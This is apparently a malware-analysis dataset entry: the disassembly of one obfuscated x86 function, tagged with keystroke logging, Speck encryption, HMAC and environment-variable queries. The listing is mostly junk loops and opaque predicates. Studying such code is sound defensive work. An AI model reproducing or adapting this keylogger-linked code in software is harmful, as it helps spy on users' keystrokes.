Function at 0x436b2b
Capabilities:
Authenticate hmac
Encrypt data using speck
Log keystrokes via polling
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4b72f7
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x2338
call fcn.004b3330
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0xac], 0xf3617394
mov dword [ebp - 0x10ec], 0x3c576436
mov dword [ebp - 0xafc], 0x25a4
mov dword [ebp - 0x12b4], str.limk_qkln_ijwtthb_dbbdgswit_zumc_ddjnud_ckoqaq
cmp dword [ebp - 0xafc], 0x25fd
jle 0x436cc9
and dword [ebp - 0x60c], 0
jmp 0x436ba2
mov eax, dword [ebp - 0x60c]
inc eax
mov dword [ebp - 0x60c], eax
cmp dword [ebp - 0x60c], 0x9be
jge 0x436c8c
and dword [ebp - 0x240], 0
jmp 0x436bc8
mov eax, dword [ebp - 0x240]
inc eax
mov dword [ebp - 0x240], eax
cmp dword [ebp - 0x240], 0x7f5f
jge 0x436c87
and dword [ebp - 0x4b8], 0
jmp 0x436bee
mov eax, dword [ebp - 0x4b8]
inc eax
mov dword [ebp - 0x4b8], eax
cmp dword [ebp - 0x4b8], 0x3cb6
jge 0x436c82
and dword [ebp - 0x248], 0
jmp 0x436c14
mov eax, dword [ebp - 0x248]
inc eax
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 0x26f0
jge 0x436c7d
mov eax, dword [ebp - 0x60c]
mov ecx, dword [ebp - 0x240]
sar eax, cl
mov ecx, dword [ebp - 0x4b8]
sub ecx, dword [ebp - 0x248]
shl eax, cl
cdq
mov dword [ebp - 0x137c], eax
mov dword [ebp - 0x1378], edx
push dword [ebp - 0x1378]
push dword [ebp - 0x137c]
lea ecx, [ebp - 0x2320]
call fcn.0040195e
pop ecx
pop ecx
mov ecx, eax
call fcn.004200e8
push eax
call fcn.004a11e7
pop ecx
lea ecx, [ebp - 0x2320]
call fcn.004200de
jmp 0x436c07
jmp 0x436be1
jmp 0x436bbb
jmp 0x436b95
push 0x282
push 0x1deb
push 0x15c3
push 0x1314
push 0x7e4
push 0x1082
push 0x270c
push 0x93c
push 0x1279
push 0x1ae0
push 0x184a
call dword [sym.imp.GDI32.dll_StretchBlt]
and dword [ebp - 4], 0
cmp dword [ebp - 0xafc], 0x2432
jge 0x436ce5
push dword [ebp - 0x12b4]
call fcn.004a11e7
pop ecx
jmp 0x436d01
or dword [ebp - 4], 0xffffffff
jmp 0x436d0b
mov dword [ebp - 0x5a8], 0
jmp 0x436d24
mov eax, dword [ebp - 0x5a8]
inc eax
mov dword [ebp - 0x5a8], eax
cmp dword [ebp - 0x5a8], 3
jge 0x436d40
mov eax, dword [ebp - 0x5a8]
mov dword [ebp + eax*4 - 0x1224], 0xffffffff
jmp 0x436d17
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x1224], 0xfffffffb
jmp 0x436d6e
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1224]
dec eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x1224], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x1224], 0xfffffff9
je 0x436d85
call fcn.004343f2
jmp 0x436d53
mov eax, dword [ebp - 0xac]
cmp dword [ebp - 0xac], eax
jl 0x436d9f
mov dword [ebp - 0x1064], 1
jmp 0x436da6
and dword [ebp - 0x1064], 0
cmp dword [ebp - 0x1064], 0x53e1e01b
jle 0x436dbe
mov dword [ebp - 0x106c], 1
jmp 0x436dc5
and dword [ebp - 0x106c], 0
mov eax, dword [ebp - 0xac]
imul eax, dword [ebp - 0x106c]
cmp eax, 0xffff
jb 0x436de5
mov dword [ebp - 0x1074], 1
jmp 0x436dec
and dword [ebp - 0x1074], 0
mov eax, dword [ebp - 0xac]
cmp eax, dword [ebp - 0x1074]
jle 0x436e06
mov dword [ebp - 0x107c], 1
jmp 0x436e0d
and dword [ebp - 0x107c], 0
mov eax, dword [ebp - 0xac]
cmp dword [ebp - 0x107c], eax
jle 0x436e27
mov dword [ebp - 0x1084], 1
jmp 0x436e2e
and dword [ebp - 0x1084], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1224]
mov dword [ebp - 0x10cc], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x10cc]
mov dword [ebp + eax - 0x1224], ecx
mov eax, dword [ebp - 0xac]
add eax, dword [ebp - 0x1084]
cmp dword [ebp - 0x10cc], eax
je 0x436e74
mov dword [ebp - 0x10d4], 1
jmp 0x436e7b
and dword [ebp - 0x10d4], 0
mov eax, dword [ebp - 0x10d4]
add eax, 0x44214078
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 0xa5bc
jne 0x436ea4
mov dword [ebp - 0x10dc], 1
jmp 0x436eab
and dword [ebp - 0x10dc], 0
mov eax, dword [ebp - 0x10ec]
cmp dword [ebp - 0x10dc], eax
jne 0x436ec5
mov dword [ebp - 0x10e4], 1
jmp 0x436ecc
and dword [ebp - 0x10e4], 0
mov eax, dword [ebp - 0x10e4]
mov dword [ebp - 0x10ec], eax
mov dword [ebp - 0x22c], 1
mov dword [ebp - 0x1a4], 0x989b1ab4
mov dword [ebp - 0x110c], 1
push 1
lea ecx, [ebp - 0x188c]
call fcn.00420237
mov dword [ebp - 0x840], 6
mov dword [ebp - 0x1afc], 0
mov dword [ebp - 0x1af8], 0
mov dword [ebp - 0x1af4], 0
mov dword [ebp - 0x1af0], 0
push 4
lea ecx, [ebp - 0x1a38]
call fcn.00420237
push 0
lea eax, [ebp - 0x188c]
push eax
lea eax, [ebp - 0x1328]
push eax
push 0x1f46
push 1
call fcn.004279dc
add esp, 0x14
lea eax, [ebp - 0x1a38]
push eax
lea eax, [ebp - 0x1328]
push eax
call fcn.00424424
pop ecx
pop ecx
cmp dword [ebp - 0x22c], 0
je 0x43706d
mov eax, dword [ebp - 0x22c]
mov dword [ebp - 0x1c0c], eax
cmp dword [ebp - 0x22c], 0x86
jne 0x436fa7
mov dword [ebp - 0x10f4], 1
jmp 0x436fae
and dword [ebp - 0x10f4], 0
mov eax, dword [ebp - 0x1a4]
cmp dword [ebp - 0x10f4], eax
jl 0x436fc8
mov dword [ebp - 0x10fc], 1
jmp 0x436fcf
and dword [ebp - 0x10fc], 0
mov eax, dword [ebp - 0x22c]
cmp eax, dword [ebp - 0x10fc]
je 0x436fe9
mov dword [ebp - 0x1104], 1
jmp 0x436ff0
and dword [ebp - 0x1104], 0
mov eax, dword [ebp - 0x1104]
mov dword [ebp - 0x110c], eax
mov eax, dword [ebp - 0x1a4]
cmp dword [ebp - 0x110c], eax
jge 0x437016
mov dword [ebp - 0x704], 1
jmp 0x43701d
and dword [ebp - 0x704], 0
push 0
lea ecx, [ebp - 0x188c]
call fcn.00420325
mov ecx, dword [ebp - 0x704]
mov dword [eax], ecx
mov eax, dword [ebp - 0x1a4]
cmp dword [ebp - 0x704], eax
jle 0x43704c
mov dword [ebp - 0x1090], 1
jmp 0x437053
and dword [ebp - 0x1090], 0
mov eax, dword [ebp - 0x22c]
cmp dword [ebp - 0x1090], eax
jg 0x43706d
mov dword [ebp - 0xcf0], 1
jmp 0x437074
and dword [ebp - 0xcf0], 0
cmp dword [ebp - 0xcf0], 3
je 0x437089
mov dword [ebp - 0x105c], 1
jmp 0x437090
and dword [ebp - 0x105c], 0
mov eax, dword [ebp - 0x105c]
sub eax, dword [ebp - 0x1a4]
imul eax, dword [ebp - 0x1a4]
mov dword [ebp - 0x840], eax
cmp dword [ebp - 0x840], 0x470e
je 0x4370c1
mov dword [ebp - 0x7c4], 1
jmp 0x4370c8
and dword [ebp - 0x7c4], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x7c4]
mov dword [ebp + eax - 0x1afc], ecx
push 0
lea ecx, [ebp - 0x1a38]
call fcn.00420325
mov ecx, dword [ebp - 0x7c4]
mov dword [eax], ecx
lea eax, [ebp - 0x188c]
push eax
push 0
push 1
push 0x6490
call fcn.0042b35f
add esp, 0x10
lea ecx, [ebp - 0x1a38]
call fcn.00420309
lea ecx, [ebp - 0x188c]
call fcn.00420309
mov dword [ebp - 0x7cc], 1
mov dword [ebp - 0x850], 1
mov dword [ebp - 0x1330], 0x336de018
mov dword [ebp - 0x250], 0
jmp 0x437154
mov eax, dword [ebp - 0x250]
inc eax
mov dword [ebp - 0x250], eax
cmp dword [ebp - 0x250], 1
jge 0x437170
mov eax, dword [ebp - 0x250]
mov dword [ebp + eax*4 - 0x158], 0xffffffff
jmp 0x437147
push 0x23b9
push 0
push 0
lea eax, [ebp - 0x7cc]
push eax
push 0x1c16
call fcn.0042683f
add esp, 0x14
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x158]
mov dword [ebp - 0x7cc], eax
cmp dword [ebp - 0x7cc], 0x95a
jg 0x4371b8
mov dword [ebp - 0x1078], 1
jmp 0x4371bf
and dword [ebp - 0x1078], 0
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x158]
cmp dword [ebp + eax - 0x158], ecx
jne 0x4371e7
mov dword [ebp - 0x848], 1
jmp 0x4371ee
and dword [ebp - 0x848], 0
mov eax, dword [ebp - 0x1078]
cmp eax, dword [ebp - 0x848]
jge 0x437208
mov dword [ebp - 0xcf8], 1
jmp 0x43720f
and dword [ebp - 0xcf8], 0
mov eax, dword [ebp - 0xcf8]
mov dword [ebp - 0x850], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x158]
add eax, dword [ebp - 0x850]
push 4
pop ecx
imul ecx, ecx, 0
cmp dword [ebp + ecx - 0x158], eax
je 0x437249
mov dword [ebp - 0xf50], 1
jmp 0x437250
and dword [ebp - 0xf50], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x158]
cmp dword [ebp - 0xf50], eax
jge 0x437271
mov dword [ebp - 0x858], 1
jmp 0x437278
and dword [ebp - 0x858], 0
mov eax, dword [ebp - 0x858]
mov dword [ebp - 0x1330], eax
mov dword [ebp - 0xa4], 0xf3617394
mov dword [ebp - 0x44], 0xffffffff
push 4
lea ecx, [ebp - 0x116c]
call fcn.00420237
mov dword [ebp - 0x1348], 0x9e68
push 1
lea ecx, [ebp - 0x1934]
call fcn.00420237
mov dword [ebp - 0x7d4], 0xfca44bab
mov dword [ebp - 0x1db4], 0x8a1b
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 0x116c]
push eax
push 0x1af8
push 0x4e4d
push 0
push 0x5abd
push 0
call fcn.00429ea5
add esp, 0x1c
mov dword [ebp - 0x10c], 0
jmp 0x43730f
mov eax, dword [ebp - 0x10c]
inc eax
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 1
jge 0x43732b
mov eax, dword [ebp - 0x10c]
mov dword [ebp + eax*4 - 0x1358], 0xb4f5fdfd
jmp 0x437302
push 0
push 0x46f5
push 1
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 0x1934]
push eax
push 0x1d11
push 0x5697
call fcn.0042673a
add esp, 0x1c
mov eax, dword [ebp - 0x44]
cmp dword [ebp - 0x44], eax
jne 0x437368
mov dword [ebp - 0x1338], 1
jmp 0x43736f
and dword [ebp - 0x1338], 0
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0xd00], eax
push 3
lea ecx, [ebp - 0x116c]
call fcn.00420325
mov ecx, dword [ebp - 0xd00]
mov dword [eax], ecx
imul eax, dword [ebp - 0xd00], 0xfffffff8
test eax, eax
je 0x4373aa
cmp dword [ebp - 0x44], 0
je 0x4373aa
mov dword [ebp - 0x860], 1
jmp 0x4373b1
and dword [ebp - 0x860], 0
cmp dword [ebp - 0x860], 0x1320f2d6
jg 0x4373c9
mov dword [ebp - 0x10ac], 1
jmp 0x4373d0
and dword [ebp - 0x10ac], 0
mov eax, dword [ebp - 0x44]
cmp dword [ebp - 0x10ac], eax
jne 0x4373e7
mov dword [ebp - 0x868], 1
jmp 0x4373ee
and dword [ebp - 0x868], 0
cmp dword [ebp - 0x868], 0xc629
jne 0x437406
mov dword [ebp - 0x1340], 1
jmp 0x43740d
and dword [ebp - 0x1340], 0
cmp dword [ebp - 0x44], 0xffffffff
je 0x43741f
mov dword [ebp - 0xd08], 1
jmp 0x437426
and dword [ebp - 0xd08], 0
mov eax, dword [ebp - 0xd08]
sub eax, dword [ebp - 0x44]
imul eax, dword [ebp - 0x44]
test eax, eax
jne 0x437449
mov eax, 0x17c7
test eax, eax
jne 0x437449
and dword [ebp - 0x870], 0
jmp 0x437453
mov dword [ebp - 0x870], 1
mov eax, dword [ebp - 0x44]
cmp eax, dword [ebp - 0x870]
je 0x43746a
mov dword [ebp - 0xf58], 1
jmp 0x437471
and dword [ebp - 0xf58], 0
cmp dword [ebp - 0xf58], 0xc7a00f47
jbe 0x437489
mov dword [ebp - 0x878], 1
jmp 0x437490
and dword [ebp - 0x878], 0
mov eax, dword [ebp - 0x44]
imul eax, dword [ebp - 0x878]
test eax, eax
jne 0x4374cb
push 3
lea ecx, [ebp - 0x116c]
call fcn.00420325
cmp dword [eax], 0
jne 0x4374cb
push 1
lea ecx, [ebp - 0x116c]
call fcn.00420325
cmp dword [eax], 0
jne 0x4374cb
and dword [ebp - 0xd10], 0
jmp 0x4374d5
mov dword [ebp - 0xd10], 1
mov eax, dword [ebp - 0xd10]
neg eax
add eax, dword [ebp - 0x44]
je 0x437732
mov dword [ebp - 0x7a0], 1
mov dword [ebp - 0x888], 0x4e2b7835
mov dword [ebp - 0x1bc8], 0
push 3
lea ecx, [ebp - 0x1784]
call fcn.00420237
mov dword [ebp - 0x4c0], 0
jmp 0x43752a
mov eax, dword [ebp - 0x4c0]
inc eax
mov dword [ebp - 0x4c0], eax
cmp dword [ebp - 0x4c0], 3
jge 0x43754c
push dword [ebp - 0x4c0]
lea ecx, [ebp - 0x1784]
call fcn.00420325
mov dword [eax], 0xaf53c8cb
jmp 0x43751d
mov byte [ebp - 0xc0], 0
lea eax, [ebp - 0xc0]
push eax
call fcn.00430c71
pop ecx
push 3
lea ecx, [ebp - 0x116c]
call fcn.00420325
cmp dword [eax], 0
je 0x437709
cmp dword [ebp - 0x1348], 0xa81d
jl 0x43758e
mov dword [ebp - 0x79c], 1
jmp 0x437595
and dword [ebp - 0x79c], 0
cmp dword [ebp - 0x7a0], 0
jne 0x437619
push 0
lea ecx, [ebp - 0x1784]
call fcn.00420325
mov ecx, dword [ebp - 0x888]
cmp dword [eax], ecx
jle 0x4375c1
mov dword [ebp - 0x1350], 1
jmp 0x4375c8
and dword [ebp - 0x1350], 0
mov eax, dword [ebp - 0x7d4]
inc eax
mov dword [ebp - 0x7d4], eax
mov eax, dword [ebp - 0x7d4]
mov dword [ebp - 0x1ee0], eax
mov eax, dword [ebp - 0x7a0]
mov dword [ebp - 0x1bd0], eax
mov eax, dword [ebp - 0x7a0]
sub eax, 0x18cc
je 0x437607
push 0
lea ecx, [ebp - 0x1784]
call fcn.00420325
mov eax, 0xfb6c
test eax, eax
jne 0x437619
and dword [ebp - 0x880], 0
jmp 0x437623
mov dword [ebp - 0x880], 1
cmp dword [ebp - 0x880], 0x146
jg 0x43763b
mov dword [ebp - 0x1080], 1
jmp 0x437642
and dword [ebp - 0x1080], 0
push 0
lea ecx, [ebp - 0x1934]
call fcn.00420325
mov ecx, dword [ebp - 0x1080]
add ecx, dword [eax]
cmp ecx, 8
je 0x437668
mov dword [ebp - 0x780], 1
jmp 0x43766f
and dword [ebp - 0x780], 0
push 0
lea ecx, [ebp - 0x1784]
call fcn.00420325
mov ecx, dword [ebp - 0x780]
mov dword [eax], ecx
cmp dword [ebp - 0x780], 0
jne 0x43769f
cmp dword [ebp - 0x888], 0
jne 0x43769f
and dword [ebp - 0x710], 0
jmp 0x4376a9
mov dword [ebp - 0x710], 1
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x710]
mov dword [ebp + eax - 0x1358], ecx
cmp dword [ebp - 0x710], 6
jge 0x4376d1
mov dword [ebp - 0xd18], 1
jmp 0x4376d8
and dword [ebp - 0xd18], 0
push 0
lea ecx, [ebp - 0x116c]
call fcn.00420325
mov ecx, dword [ebp - 0x79c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x79c]
neg eax
cmp eax, dword [ebp - 0xd18]
jne 0x437709
mov dword [ebp - 0x890], 1
jmp 0x437710
and dword [ebp - 0x890], 0
push 0
lea ecx, [ebp - 0x1934]
call fcn.00420325
mov ecx, dword [ebp - 0x890]
mov dword [eax], ecx
lea ecx, [ebp - 0x1784]
call fcn.00420309
jmp 0x437746
mov byte [ebp - 0xe5], 0
lea eax, [ebp - 0xe5]
push eax
call fcn.00430c9d
pop ecx
mov byte [ebp - 0xb6], 0
lea eax, [ebp - 0xb6]
push eax
call fcn.00434519
pop ecx
lea ecx, [ebp - 0x1934]
call fcn.00420309
lea ecx, [ebp - 0x116c]
call fcn.00420309
mov dword [ebp - 0x8f8], 0x3c576436
mov dword [ebp - 0x718], 1
mov dword [ebp - 0x8a0], 1
mov dword [ebp - 0x1360], 0x336de018
mov dword [ebp - 0x258], 0
jmp 0x4377b1
mov eax, dword [ebp - 0x258]
inc eax
mov dword [ebp - 0x258], eax
cmp dword [ebp - 0x258], 1
jge 0x4377cd
mov eax, dword [ebp - 0x258]
mov dword [ebp + eax*4 - 0x194], 0xffffffff
jmp 0x4377a4
lea eax, [ebp - 0x718]
push eax
call fcn.00434553
pop ecx
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x194]
mov dword [ebp - 0x718], eax
cmp dword [ebp - 0x718], 0x95a
jg 0x437805
mov dword [ebp - 0xf60], 1
jmp 0x43780c
and dword [ebp - 0xf60], 0
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x194]
cmp dword [ebp + eax - 0x194], ecx
jne 0x437834
mov dword [ebp - 0x898], 1
jmp 0x43783b
and dword [ebp - 0x898], 0
mov eax, dword [ebp - 0xf60]
cmp eax, dword [ebp - 0x898]
jge 0x437855
mov dword [ebp - 0xd20], 1
jmp 0x43785c
and dword [ebp - 0xd20], 0
mov eax, dword [ebp - 0xd20]
mov dword [ebp - 0x8a0], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x194]
add eax, dword [ebp - 0x8a0]
push 4
pop ecx
imul ecx, ecx, 0
cmp dword [ebp + ecx - 0x194], eax
je 0x437896
mov dword [ebp - 0x10b4], 1
jmp 0x43789d
and dword [ebp - 0x10b4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x194]
cmp dword [ebp - 0x10b4], eax
jge 0x4378be
mov dword [ebp - 0x8a8], 1
jmp 0x4378c5
and dword [ebp - 0x8a8], 0
mov eax, dword [ebp - 0x8a8]
mov dword [ebp - 0x1360], eax
mov dword [ebp - 0x5b0], 0
jmp 0x4378ea
mov eax, dword [ebp - 0x5b0]
inc eax
mov dword [ebp - 0x5b0], eax
cmp dword [ebp - 0x5b0], 3
jge 0x437906
mov eax, dword [ebp - 0x5b0]
mov dword [ebp + eax*4 - 0x123c], 0xffffffff
jmp 0x4378dd
mov dword [ebp - 0x234], 4
mov dword [ebp - 0x1dc4], 0x6e3245f1
mov dword [ebp - 0x260], 0
jmp 0x437933
mov eax, dword [ebp - 0x260]
inc eax
mov dword [ebp - 0x260], eax
cmp dword [ebp - 0x260], 1
jge 0x43794f
mov eax, dword [ebp - 0x260]
mov dword [ebp + eax*4 - 0x1368], 0x17571177
jmp 0x437926
mov dword [ebp - 0x234], 0
jmp 0x437968
mov eax, dword [ebp - 0x234]
inc eax
mov dword [ebp - 0x234], eax
cmp dword [ebp - 0x234], 1
jge 0x437984
mov eax, dword [ebp - 0x234]
mov dword [ebp + eax*4 - 0x1368], 0
jmp 0x43795b
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x123c], 0xfffffffb
jmp 0x4379b2
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x123c]
dec eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x123c], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x123c], 0xfffffff9
je 0x437eda
mov dword [ebp - 0x1b0], 7
mov dword [ebp - 0x4c8], 0
jmp 0x4379e9
mov eax, dword [ebp - 0x4c8]
inc eax
mov dword [ebp - 0x4c8], eax
cmp dword [ebp - 0x4c8], 3
jge 0x437a05
mov eax, dword [ebp - 0x4c8]
mov dword [ebp + eax*4 - 0x1248], 1
jmp 0x4379dc
mov dword [ebp - 0x1088], 0x7e1e
mov dword [ebp - 0x169c], str.teewqrzi_gnolvrric_rbj_jqdjrk_alwymho_swmul_hqzc_molrvkvc
cmp dword [ebp - 0x1088], 0x7fdf
jle 0x437b36
push 0x181f
call dword [sym.imp.USER32.dll_GetMenu]
and dword [ebp - 0x268], 0
jmp 0x437a4a
mov eax, dword [ebp - 0x268]
inc eax
mov dword [ebp - 0x268], eax
cmp dword [ebp - 0x268], 0x1daf
jge 0x437b36
and dword [ebp - 0x5c0], 0
jmp 0x437a70
mov eax, dword [ebp - 0x5c0]
inc eax
mov dword [ebp - 0x5c0], eax
cmp dword [ebp - 0x5c0], 0x3f37
jge 0x437b31
and dword [ebp - 0x270], 0
jmp 0x437a96
mov eax, dword [ebp - 0x270]
inc eax
mov dword [ebp - 0x270], eax
cmp dword [ebp - 0x270], 0x5ec7
jge 0x437b2c
and dword [ebp - 0x4d0], 0
jmp 0x437abc
mov eax, dword [ebp - 0x4d0]
inc eax
mov dword [ebp - 0x4d0], eax
cmp dword [ebp - 0x4d0], 0x1e0e
jge 0x437b27
mov eax, dword [ebp - 0x268]
mov ecx, dword [ebp - 0x5c0]
sar eax, cl
mov ecx, dword [ebp - 0x270]
sar eax, cl
mov ecx, dword [ebp - 0x4d0]
shl eax, cl
cdq
mov dword [ebp - 0x1388], eax
mov dword [ebp - 0x1384], edx
push dword [ebp - 0x1384]
push dword [ebp - 0x1388]
lea ecx, [ebp - 0x20e0]
call fcn.0040195e
pop ecx
pop ecx
mov ecx, eax
call fcn.004200e8
push eax
call fcn.004a11e7
pop ecx
lea ecx, [ebp - 0x20e0]
call fcn.004200de
jmp 0x437aaf
jmp 0x437a89
jmp 0x437a63
jmp 0x437a3d
mov dword [ebp - 0x1b0], 0
jmp 0x437b4f
mov eax, dword [ebp - 0x1b0]
dec eax
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 0xfffffff3
je 0x437d4a
mov dword [ebp - 0xd30], 0x4d59ff44
mov dword [ebp - 0x278], 0
jmp 0x437b7f
mov eax, dword [ebp - 0x278]
inc eax
mov dword [ebp - 0x278], eax
cmp dword [ebp - 0x278], 1
jge 0x437b98
mov eax, dword [ebp - 0x278]
mov dword [ebp + eax*4 - 0x5c], 0xfffffff9
jmp 0x437b72
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x5c], 0
jmp 0x437bbd
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x5c]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x5c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x5c], 2
jg 0x437d40
mov dword [ebp - 0x1f0], 5
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x5c]
cmp dword [ebp + eax*4 - 0x1248], 0
je 0x437bf1
jmp 0x437d40
mov dword [ebp - 0x1f0], 2
jmp 0x437c0a
mov eax, dword [ebp - 0x1f0]
dec eax
mov dword [ebp - 0x1f0], eax
cmp dword [ebp - 0x1f0], 0
jl 0x437d3b
mov dword [ebp - 0x1370], 0x451d
mov dword [ebp - 0x1694], 0x45c2f1fc
push 4
pop eax
shl eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x5c]
mov ecx, dword [ebp + ecx*4 - 0x1248]
cmp dword [ebp + eax - 0x1248], ecx
jle 0x437c57
mov dword [ebp - 0x8b0], 1
jmp 0x437c5e
and dword [ebp - 0x8b0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x5c]
cmp dword [ebp + eax*4 - 0x1248], 0
jne 0x437c8f
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x5c]
cmp dword [ebp + eax*4 - 0x1248], 0
jne 0x437c8f
and dword [ebp - 0xd28], 0
jmp 0x437c99
mov dword [ebp - 0xd28], 1
mov eax, dword [ebp - 0x1f0]
cmp eax, dword [ebp - 0xd28]
jne 0x437cb3
mov dword [ebp - 0xf68], 1
jmp 0x437cba
and dword [ebp - 0xf68], 0
mov eax, dword [ebp - 0x8b0]
cmp eax, dword [ebp - 0xf68]
jne 0x437cd4
mov dword [ebp - 0x8b8], 1
jmp 0x437cdb
and dword [ebp - 0x8b8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x5c]
mov eax, dword [ebp + eax*4 - 0x1248]
add eax, dword [ebp - 0x8b8]
mov dword [ebp - 0xd30], eax
mov eax, dword [ebp - 0xd30]
push 4
pop ecx
imul ecx, ecx, 0
imul eax, dword [ebp + ecx - 0x5c]
cmp eax, dword [ebp - 0x1b0]
jle 0x437d1d
mov dword [ebp - 0x8c0], 1
jmp 0x437d24
and dword [ebp - 0x8c0], 0
mov eax, dword [ebp - 0x8c0]
sub eax, dword [ebp - 0x1370]
mov dword [ebp - 0x1694], eax
jmp 0x437bfd
jmp 0x437ba8
call fcn.00430d0a
jmp 0x437b42
mov dword [ebp - 4], 2
cmp dword [ebp - 0x1088], 0x7c3f
jge 0x437d69
push dword [ebp - 0x169c]
call fcn.004a11e7
pop ecx
jmp 0x437d85
or dword [ebp - 4], 0xffffffff
jmp 0x437d8f
mov dword [ebp - 0x104], 1
mov dword [ebp - 0x8d0], 0xfffc
mov dword [ebp - 0x16a4], 0x56d2926a
mov dword [ebp - 0x104], 0
jmp 0x437dc6
mov eax, dword [ebp - 0x104]
dec eax
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 0xfffffffb
jg 0x437e76
mov dword [ebp - 0xd38], 0xfffffffd
push 1
lea ecx, [ebp - 0x194c]
call fcn.00420237
mov dword [ebp - 0x8c8], 0xbc5021c3
lea eax, [ebp - 0x194c]
push eax
lea eax, [ebp - 0x1bd8]
push eax
call fcn.0042503b
pop ecx
pop ecx
lea eax, [ebp - 0x8c8]
push eax
lea eax, [ebp - 0x8d0]
push eax
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x194c]
push eax
lea eax, [ebp - 0xd38]
push eax
call fcn.00430d43
add esp, 0x14
lea eax, [ebp - 0x8c8]
push eax
lea eax, [ebp - 0xd38]
push eax
lea eax, [ebp - 0x194c]
push eax
lea eax, [ebp - 0x8d0]
push eax
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x16a4]
push eax
call fcn.00430e07
add esp, 0x18
lea ecx, [ebp - 0x194c]
call fcn.00420309
jmp 0x437db9
mov byte [ebp - 0xc5], 0
mov dword [ebp - 0x16ac], 5
push 4
lea ecx, [ebp - 0x1db0]
call fcn.00420237
lea eax, [ebp - 0x1db0]
push eax
push 1
push 0
lea eax, [ebp - 0x1f4c]
push eax
push 0
call fcn.0042adde
add esp, 0x14
lea eax, [ebp - 0x16ac]
push eax
call fcn.00430ee1
pop ecx
lea ecx, [ebp - 0x1db0]
call fcn.00420309
lea eax, [ebp - 0xc5]
push eax
call fcn.00431044
pop ecx
jmp 0x437997
mov eax, dword [ebp - 0xa4]
cmp dword [ebp - 0xa4], eax
jl 0x437ef4
mov dword [ebp - 0xf70], 1
jmp 0x437efb
and dword [ebp - 0xf70], 0
cmp dword [ebp - 0xf70], 0x53e1e01b
jle 0x437f13
mov dword [ebp - 0x8d8], 1
jmp 0x437f1a
and dword [ebp - 0x8d8], 0
mov eax, dword [ebp - 0xa4]
imul eax, dword [ebp - 0x8d8]
cmp eax, 0xffff
jb 0x437f3a
mov dword [ebp - 0xd40], 1
jmp 0x437f41
and dword [ebp - 0xd40], 0
mov eax, dword [ebp - 0xa4]
cmp eax, dword [ebp - 0xd40]
jle 0x437f5b
mov dword [ebp - 0x8e0], 1
jmp 0x437f62
and dword [ebp - 0x8e0], 0
mov eax, dword [ebp - 0xa4]
cmp dword [ebp - 0x8e0], eax
jle 0x437f7c
mov dword [ebp - 0x10bc], 1
jmp 0x437f83
and dword [ebp - 0x10bc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x123c]
mov dword [ebp - 0x8e8], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x8e8]
mov dword [ebp + eax - 0x123c], ecx
mov eax, dword [ebp - 0xa4]
add eax, dword [ebp - 0x10bc]
cmp dword [ebp - 0x8e8], eax
je 0x437fc9
mov dword [ebp - 0xd48], 1
jmp 0x437fd0
and dword [ebp - 0xd48], 0
mov eax, dword [ebp - 0xd48]
add eax, 0x44214078
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 0xa5bc
jne 0x437ff9
mov dword [ebp - 0x8f0], 1
jmp 0x438000
and dword [ebp - 0x8f0], 0
mov eax, dword [ebp - 0x8f8]
cmp dword [ebp - 0x8f0], eax
jne 0x43801a
mov dword [ebp - 0xf78], 1
jmp 0x438021
and dword [ebp - 0xf78], 0
mov eax, dword [ebp - 0xf78]
mov dword [ebp - 0x8f8], eax
mov dword [ebp - 0x230], 0
